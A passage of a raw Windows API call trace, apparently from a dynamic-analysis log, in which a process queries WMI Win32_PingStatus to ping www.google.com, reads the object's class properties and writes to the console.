This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9684*=0, plFlavor=0x24b9688*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b9684*=3, plFlavor=0x24b9688*=64) returned 0x0 [0142.649] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b96b8*=0, plFlavor=0x24b96bc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b96b8*=8, plFlavor=0x24b96bc*=64) returned 0x0 [0142.649] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.649] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.649] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9710*=0, plFlavor=0x24b9714*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9710*=8, plFlavor=0x24b9714*=64) returned 0x0 [0142.650] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9738*=0, plFlavor=0x24b973c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b9738*=8, plFlavor=0x24b973c*=64) returned 0x0 [0142.650] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.650] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.650] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9790*=0, plFlavor=0x24b9794*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b9790*=8, plFlavor=0x24b9794*=64) returned 0x0 [0142.650] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.650] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.650] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b996c*=0, plFlavor=0x24b9970*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b996c*=3, plFlavor=0x24b9970*=64) returned 0x0 [0142.650] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b99a0*=0, plFlavor=0x24b99a4*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b99a0*=8200, plFlavor=0x24b99a4*=64) returned 0x0 [0142.651] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b99d4*=0, plFlavor=0x24b99d8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b99d4*=8, plFlavor=0x24b99d8*=64) returned 0x0 [0142.651] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.651] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.651] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9a20*=0, plFlavor=0x24b9a24*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b9a20*=8, plFlavor=0x24b9a24*=64) returned 0x0 [0142.651] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.651] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.651] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9a6c*=0, plFlavor=0x24b9a70*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b9a6c*=8, plFlavor=0x24b9a70*=64) returned 0x0 [0142.651] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.651] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.651] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0142.651] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0142.652] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.652] IWbemClassObject:Get (in: This=0x4f480a0, wszName="WriteInformationStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9ca4*=0, plFlavor=0x24b9ca8*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b9ca4*=0, plFlavor=0x24b9ca8*=0) returned 0x80041002 [0142.652] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0142.653] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b4e8) returned 0x0 [0142.653] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0142.653] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b4e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f35d68) returned 0x0 [0142.654] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4e8) returned 0x0 [0142.654] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35d68, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f35d68) returned 0x0 [0142.654] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35d68, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0142.654] WbemStatusCodeText:IUnknown:AddRef (This=0x4f35d68) returned 0x3 [0142.654] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35d68, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0142.654] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35d68, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0142.654] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35d68, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0142.654] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0142.654] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0142.654] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35d68, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0142.654] WbemStatusCodeText:IUnknown:Release (This=0x4f35d68) returned 0x2 [0142.654] WbemStatusCodeText:IUnknown:Release (This=0x4f35d68) returned 0x1 [0142.654] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0142.654] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0142.654] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f35d68, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f35d68) returned 0x0 [0142.655] WbemStatusCodeText:IUnknown:AddRef (This=0x4f35d68) returned 0x3 [0142.655] WbemStatusCodeText:IUnknown:Release (This=0x4f35d68) returned 0x2 [0142.655] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f35d68, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0142.655] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.656] GetConsoleOutputCP () returned 0x1b5 [0142.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.656] GetConsoleOutputCP () returned 0x1b5 [0142.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.656] GetConsoleOutputCP () returned 0x1b5 [0142.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.657] GetConsoleOutputCP () returned 0x1b5 [0142.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.657] GetConsoleOutputCP () returned 0x1b5 [0142.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.657] GetConsoleOutputCP () returned 0x1b5 [0142.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.657] GetConsoleOutputCP () returned 0x1b5 [0142.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.657] GetConsoleOutputCP () returned 0x1b5 [0142.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0142.657] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eebb0 | out: lpConsoleScreenBufferInfo=0x59eebb0) returned 1 [0142.658] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0142.658] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24ba270*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x24ba270*, lpNumberOfCharsWritten=0x59eeb9c*=0x4f) returned 1 [0142.658] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0142.659] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59eeb9c*=0x2) returned 1 [0142.659] CoGetContextToken (in: pToken=0x59eedac | out: pToken=0x59eedac) returned 0x0 [0142.659] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef64 | out: ppEnum=0x59eef64*=0x4af5b8) returned 0x0 [0142.789] IUnknown:QueryInterface (in: This=0x4af5b8, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4af5bc) returned 0x0 [0142.790] IClientSecurity:QueryBlanket (in: This=0x4af5bc, pProxy=0x4af5b8, pAuthnSvc=0x59eee70, pAuthzSvc=0x59eee6c, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68, pImpLevel=0x59eee58, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60 | out: pAuthnSvc=0x59eee70*=0xa, pAuthzSvc=0x59eee6c*=0x0, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68*=0x6, pImpLevel=0x59eee58*=0x2, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60*=0x1) returned 0x0 [0142.790] IUnknown:Release (This=0x4af5bc) returned 0x1 [0142.790] IUnknown:QueryInterface (in: This=0x4af5b8, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee14 | out: ppvObject=0x59eee14*=0x53613c) returned 0x0 [0142.790] IUnknown:QueryInterface (in: This=0x4af5b8, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee00 | out: ppvObject=0x59eee00*=0x4af5bc) returned 0x0 [0142.790] IClientSecurity:SetBlanket (This=0x4af5bc, pProxy=0x4af5b8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0142.801] IUnknown:Release (This=0x4af5bc) returned 0x2 [0142.801] WbemLocator:IUnknown:Release (This=0x53613c) returned 0x1 [0142.801] CoTaskMemFree (pv=0x5075c0) [0142.801] IUnknown:AddRef (This=0x4af5b8) returned 0x2 [0142.801] CoGetContextToken (in: pToken=0x59ee330 | out: pToken=0x59ee330) returned 0x0 [0142.801] CoGetContextToken (in: pToken=0x59ee744 | out: pToken=0x59ee744) returned 0x0 [0142.801] IUnknown:QueryInterface (in: This=0x4af5b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6dc | out: ppvObject=0x59ee6dc*=0x536124) returned 0x0 [0142.802] WbemLocator:IRpcOptions:Query (in: This=0x536124, pPrx=0x4f4c7c8, dwProperty=2, pdwValue=0x59ee7d0 | out: pdwValue=0x59ee7d0) returned 0x80004002 [0142.802] WbemLocator:IUnknown:Release (This=0x536124) returned 0x2 [0142.802] CoGetContextToken (in: pToken=0x59eed14 | out: pToken=0x59eed14) returned 0x0 [0142.802] CoGetContextToken (in: pToken=0x59eec74 | out: pToken=0x59eec74) returned 0x0 [0142.802] IUnknown:QueryInterface (in: This=0x4af5b8, riid=0x59eed44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec10 | out: ppvObject=0x59eec10*=0x4af5b8) returned 0x0 [0142.802] IUnknown:Release (This=0x4af5b8) returned 0x2 [0142.802] SysStringLen (param_1=0x0) returned 0x0 [0142.802] IEnumWbemClassObject:Reset (This=0x4af5b8) returned 0x0 [0142.806] CoTaskMemAlloc (cb=0x4) returned 0x4f4b2f0 [0142.806] IEnumWbemClassObject:Next (in: This=0x4af5b8, lTimeout=-1, uCount=0x1, apObjects=0x4f4b2f0, puReturned=0x24ba354 | out: apObjects=0x4f4b2f0*=0x4f6dd48, puReturned=0x24ba354*=0x1) returned 0x0 [0142.812] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5bc | out: ppvObject=0x59ee5bc*=0x4f6dd48) returned 0x0 [0142.812] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee570 | out: ppvObject=0x59ee570*=0x0) returned 0x80004002 [0142.812] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee398 | out: ppvObject=0x59ee398*=0x0) returned 0x80004002 [0142.812] IUnknown:AddRef (This=0x4f6dd48) returned 0x3 [0142.812] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edecc | out: ppvObject=0x59edecc*=0x0) returned 0x80004002 [0142.812] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede7c | out: ppvObject=0x59ede7c*=0x0) returned 0x80004002 [0142.812] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede88 | out: ppvObject=0x59ede88*=0x4f6dd4c) returned 0x0 [0142.813] IMarshal:GetUnmarshalClass (in: This=0x4f6dd4c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59ede90 | out: pCid=0x59ede90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0142.813] IUnknown:Release (This=0x4f6dd4c) returned 0x3 [0142.813] CoGetContextToken (in: pToken=0x59edee8 | out: pToken=0x59edee8) returned 0x0 [0142.813] CoGetContextToken (in: pToken=0x59ee2fc | out: pToken=0x59ee2fc) returned 0x0 [0142.813] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee37c | out: ppvObject=0x59ee37c*=0x0) returned 0x80004002 [0142.813] IUnknown:Release (This=0x4f6dd48) returned 0x2 [0142.813] CoGetContextToken (in: pToken=0x59ee8e4 | out: pToken=0x59ee8e4) returned 0x0 [0142.813] CoGetContextToken (in: pToken=0x59ee844 | out: pToken=0x59ee844) returned 0x0 [0142.813] IUnknown:QueryInterface (in: This=0x4f6dd48, riid=0x59ee914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee910 | out: ppvObject=0x59ee910*=0x4f6dd48) returned 0x0 [0142.813] IUnknown:AddRef (This=0x4f6dd48) returned 0x4 [0142.813] IUnknown:Release (This=0x4f6dd48) returned 0x3 [0142.813] IUnknown:Release (This=0x4f6dd48) returned 0x2 [0142.813] CoTaskMemFree (pv=0x4f4b2f0) [0142.813] CoGetContextToken (in: pToken=0x59eec54 | out: pToken=0x59eec54) returned 0x0 [0142.813] IUnknown:AddRef (This=0x4f6dd48) returned 0x3 [0142.814] CoTaskMemAlloc (cb=0x4) returned 0x4f4b2f0 [0142.814] IEnumWbemClassObject:Next (in: This=0x4af5b8, lTimeout=-1, uCount=0x1, apObjects=0x4f4b2f0, puReturned=0x24ba354 | out: apObjects=0x4f4b2f0*=0x0, puReturned=0x24ba354*=0x0) returned 0x1 [0142.818] CoTaskMemFree (pv=0x4f4b2f0) [0142.819] CoTaskMemAlloc (cb=0x4) returned 0x4f4b2f0 [0142.819] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f4b2f0, puReturned=0x248d2ac | out: apObjects=0x4f4b2f0*=0x0, puReturned=0x248d2ac*=0x0) returned 0x1 [0142.821] CoTaskMemFree (pv=0x4f4b2f0) [0142.821] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0142.821] IUnknown:Release (This=0x4af360) returned 0x1 [0142.821] IUnknown:Release (This=0x4af360) returned 0x0 [0142.825] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0142.825] IUnknown:Release (This=0x4af298) returned 0x1 [0142.825] IUnknown:Release (This=0x4af298) returned 0x0 [0142.828] EtwEventActivityIdControl () returned 0x0 [0142.828] EtwEventActivityIdControl () returned 0x0 [0142.828] EtwEventActivityIdControl () returned 0x0 [0142.828] EtwEventActivityIdControl () returned 0x0 [0142.829] EtwEventActivityIdControl () returned 0x0 [0142.829] EtwEventActivityIdControl () returned 0x0 [0142.829] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59ef0a4 | out: lpConsoleScreenBufferInfo=0x59ef0a4) returned 1 [0142.829] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59ef09c | out: lpMode=0x59ef09c) returned 1 [0142.830] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59ef090, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59ef090*=0x2) returned 1 [0142.830] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59ef0a8 | out: lpConsoleScreenBufferInfo=0x59ef0a8) returned 1 [0142.830] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59ef0a0 | out: lpMode=0x59ef0a0) returned 1 [0142.830] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59ef094, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59ef094*=0x2) returned 1 [0142.831] EtwEventActivityIdControl () returned 0x0 [0142.831] EtwEventActivityIdControl () returned 0x0 [0142.831] EtwEventActivityIdControl () returned 0x0 [0142.831] EtwEventActivityIdControl () returned 0x0 [0142.832] SetEvent (hEvent=0x348) returned 1 [0142.832] SetEvent (hEvent=0x33c) returned 1 [0142.832] SetEvent (hEvent=0x340) returned 1 [0142.832] SetEvent (hEvent=0x344) returned 1 [0142.832] SetEvent (hEvent=0x358) returned 1 [0142.832] SetEvent (hEvent=0x34c) returned 1 [0142.832] SetEvent (hEvent=0x350) returned 1 [0142.832] SetEvent (hEvent=0x354) returned 1 [0142.832] SetEvent (hEvent=0x35c) returned 1 [0142.832] CoWaitForMultipleHandles (in: dwFlags=0x2, 